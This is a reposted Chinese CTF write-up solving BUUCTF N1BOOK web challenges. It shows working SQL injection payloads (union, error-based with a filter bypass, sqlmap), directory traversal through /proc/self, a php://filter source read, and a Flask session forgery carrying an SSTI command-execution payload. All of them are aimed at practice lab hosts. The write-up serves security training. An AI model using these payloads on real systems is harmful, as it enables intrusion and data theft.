0


[CTF夺旗赛] BUUCTF N1BOOK 第一章 web入门

文章目录

前言

CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。

BUUCTF是一个很好的CTF训练平台,这里介绍的是N1BOOK部分的第一章,后续会陆续更新
BUUCTF网址:https://buuoj.cn/
在这里插入图片描述

[第一章 web入门]常见的搜集1

1.先进入页面,观察信息,发现提示敏感信息,我们可以使用目录扫描工具对网页进行扫描。

在这里插入图片描述

2.这里使用

dirsearch

工具来进行信息查找。

dirsearch -u http://065698d0-f786-4297-b28c-82bbd97e501c.node5.buuoj.cn:81/ 

在这里插入图片描述

2.在页面中访问

robots.txt

文件页面:

在这里插入图片描述

3.根据robots.txt中的信息,访问

flag1_is_her3_fun.txt

,找到了flag1(n1book{info_1):

在这里插入图片描述

4.同样的,我们还扫到

index.php~

.index.php.swp

,在文件中,我们可以找到flag2(s_v3ry_im) 和 flag3(p0rtant_hack})。
flag2:

在这里插入图片描述
flag3:

在这里插入图片描述

5.将他们拼接起来,就是 flag(

n1book{info_1s_v3ry_imp0rtant_hack}

)。

[第一章 web入门]粗心的小李

1.先进入页面,观察信息,我们发现是git泄露漏洞,这时候就想到使用工具GitHack。
在这里插入图片描述

2.我们打开到kali下的GitHack目录,运行命令,这会生成一个index.html文件,打开文件我们就可以获取到flag(

n1book{git_looks_s0_easyfun}

)。

python GitHack.py http://93d14fa6-2eeb-49fd-91b7-bfdb0e13b39d.node5.buuoj.cn:81/.git/

在这里插入图片描述

在这里插入图片描述

[第一章 web入门]SQL注入-1

1.先进入

index.php?id=1

,发现并没有有效的信息,打开F12,进入

hackbar

,注入

'

,发现奇数个会异常,偶数不会,说明此为字符型注入。
在这里插入图片描述

2.接着我们就要来搞清是怎么回显的了,注入

order by 1--+

,我们发现回显正常,接着依次增加,当我们注入

order by 4--+

时,发现页面异常,说明回显位数最多为3。

在这里插入图片描述

3.当我们确定了回显位数,就要确定回显位置了。注入

id=0'union select 1,2,3--+

,确定回显的位置(2,3)。

在这里插入图片描述

4.我们在2位置进行注入,来获取数据库名,注入

id=0'union select 1,database(),3--+

,注入成功得到数据库名(node)。

在这里插入图片描述

5.得到数据库名,我们就开始查找表名,注入

id=0'union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='note'),3--+

,注入成功回显表名(fl4g,notes)。

在这里插入图片描述

6.得到表名之后,我们就开始查找字段名,注入

id=0' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='fl4g'),3--+

,注入成功回显字段名(fllllag)。

在这里插入图片描述

7.得到字段名之后,就要找字段里面的值了,注入

id=0' union select 1,(select group_concat(fllllag)from fl4g),3--+

,注入成功得到flag(n1book{union_select_is_so_cool} )。

在这里插入图片描述

这里除了使用联合注入之外,还可以使用sqlmap工具来实现,以下是sqlmap命令:

# 获取数据库名
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" --dbs --batch
# 获取数据库表名
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" -D note --tables --batch
# 获取字段名
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" -D note -T fl4g --columns --batch
# 获取flag值
sqlmap -u "http://3c46dce8-e544-4c1c-bc2d-d8008af96998.node5.buuoj.cn:81/index.php?id=1" -D note -T fl4g -C 'fllllag' --dump --batch

在这里插入图片描述

[第一章 web入门]SQL注入-2

1.先进入

login.php

,进行简单的sql注入发现并不能成功,打开F12 进入

Inspector

发现tips,确定是报错型SQL注入。

在这里插入图片描述

2.我们使用burp来进行抓包分析,我们先随便登录一下,然后进行抓包:

在这里插入图片描述

3.使用burp进行抓包:

在这里插入图片描述

4.在url后加

?tips=1

,开启mysql错误提示,在用户登录地方加上

'

''

,发现只有奇数引号时会报错,偶数不会报错,说明是字符型。

在这里插入图片描述

5.注入

and updatexml(1,concat(0x7e,database(),0x7e),1)#

回显报错数据库名(note)。

在这里插入图片描述

6.获取到数据库名后,需要得到数据库表,注入

and updatexml(1,concat(0x7e,(seLect group_concat(table_name)from information_schema.tables where table_schema='note'),0x7e),1)#

,这里使用的是

seLect

,而不是

select

,如果使用会发现报语法错误,因为禁用了关键字,所以使用

seLect

关键字绕过,注入成功后显示表名(fl4g,users)。

在这里插入图片描述

7.在获取到表后,需要得到表中的字段,注入

and updatexml(1,concat(0x7e,(seLect group_concat(column_name)from information_schema.columns where table_name='fl4g'),0x7e),1)#

,注入成功后显示字段名(flag)。

在这里插入图片描述

8.在获取到字段后,需要得到字段中的值,注入

and updatexml(1,concat(0x7e,(seLect group_concat(flag)from fl4g),0x7e),1)#

,注入成功回显值flag(

n1book{login_sqli_is_nice}

)。
在这里插入图片描述

[第一章 web入门]afr_1

1.打开首页,我们发现url很有意思,它是带参数的,所以我们就联想到利用这个特点。
在这里插入图片描述

2.我们将hello换成别的东西,如111、flag,发现输入flag的时候显示如下:
在这里插入图片描述

3.我们利用php伪协议来查看源代码是否有隐藏信息(PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9),以base64的形式输出。

php://filter/convert.base64-encode/resource=flag

在这里插入图片描述

4.将得到的信息进行解码,得到flag(

n1book{afr_1_solved}

)。
在这里插入图片描述

[第一章 web入门]afr_2

1.打开首页,发现并没有可用的信息,打开网页源代码,发现一个目录。

在这里插入图片描述
在这里插入图片描述

2.拿到这个目录,我们就可以来使用命令穿越

/img../

遍历目录。

在这里插入图片描述

3.我们在这个目录下发现一个

flag

文件,我们看一下这个文件里面存储了flag(

n1book{afr_2_solved}

)。
在这里插入图片描述

[第一章 web入门]afr_3

1.首先访问首页,这里有一个提交,我们随便提交一个信息上去,我提交的是111。

在这里插入图片描述

2.提交过后跳到一个

/n1page

界面,访问article后发现url传参:

在这里插入图片描述
在这里插入图片描述

3.我们改变一下传的参数,使name=111,发现它把目录

/home/nullllllll/articles

爆出来了!说明存在目录穿越或者文件包含漏洞。
在这里插入图片描述

4.我们知道后就可以来查看获取当前进程的命令行参数

?name=../../../../../proc/self/cmdline

在这里插入图片描述

5.获取到

server.py

后,我们就去查看代码

?name=../../../../../proc/self/cwd/server.py

,发现了两个文件

flag.py

key.py

在这里插入图片描述

#!/usr/bin/pythonimport os
from flask import( Flask, render_template, request, url_for, redirect, session, render_template_string )from flask_session import Session
 
app = Flask(__name__)execfile('flag.py')execfile('key.py')
 
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET","POST"])defn1page():if request.method !="POST":return redirect(url_for("index"))
    n1code = request.form.get("n1code")orNoneif n1code isnotNone:
        n1code = n1code.replace(".","").replace("_","").replace("{","").replace("}","")if"n1code"notin session or session['n1code']isNone:
        session['n1code']= n1code
    template =Noneif session['n1code']isnotNone:
        template ='''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> '''% session['n1code']
        session['n1code']=Nonereturn render_template_string(template)@app.route("/", methods=["GET"])defindex():return render_template("main.html")@app.route('/article', methods=['GET'])defarticle():
    error =0if'name'in request.args:
        page = request.args.get('name')else:
        page ='article'if page.find('flag')>=0:
        page ='notallowed.txt'try:
        template =open('/home/nu11111111l/articles/{}'.format(page)).read()except Exception as e:
        template = e
 
    return render_template('article.html', template=template)if __name__ =="__main__":
    app.run(host='0.0.0.0', debug=False)

6.查看这两个文件,

flag.py

并不能访问。

在这里插入图片描述

7.访问

key.py

,得到

#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

,这是一个以python编写的脚本,根据代码我们可知两个路径,一个

/n1page

,一个

/article

,如果我们传入的Session中有n1code,我们将

.

_

{

}

用空代替,也就是去掉这些字符,经过过滤,传入的Session进入template,我们就在这个地方来伪造Session。

在这里插入图片描述

8.我们需要把脚本

#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA

进行加密,需要到Git上拉。

git clone https://github.com/noraj/flask-session-cookie-manager

然后在文件夹中执行命令进行加密:

python3 ./flask_session_cookie_manager3.py encode -s"Drmhze6EPcv0fN_81Bj-nA"-t"{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

在这里插入图片描述

接着我们将加密后的cookie放到bp(主页提交页面)中去发包,即可得到flag(

n1book{afr_3_solved}

)。

在这里插入图片描述


本文转载自: https://blog.csdn.net/Da1NtY/article/details/141347695
版权归原作者 Da1NtY0926 所有, 如有侵权,请联系我们删除。

“[CTF夺旗赛] BUUCTF N1BOOK 第一章 web入门”的评论:

还没有评论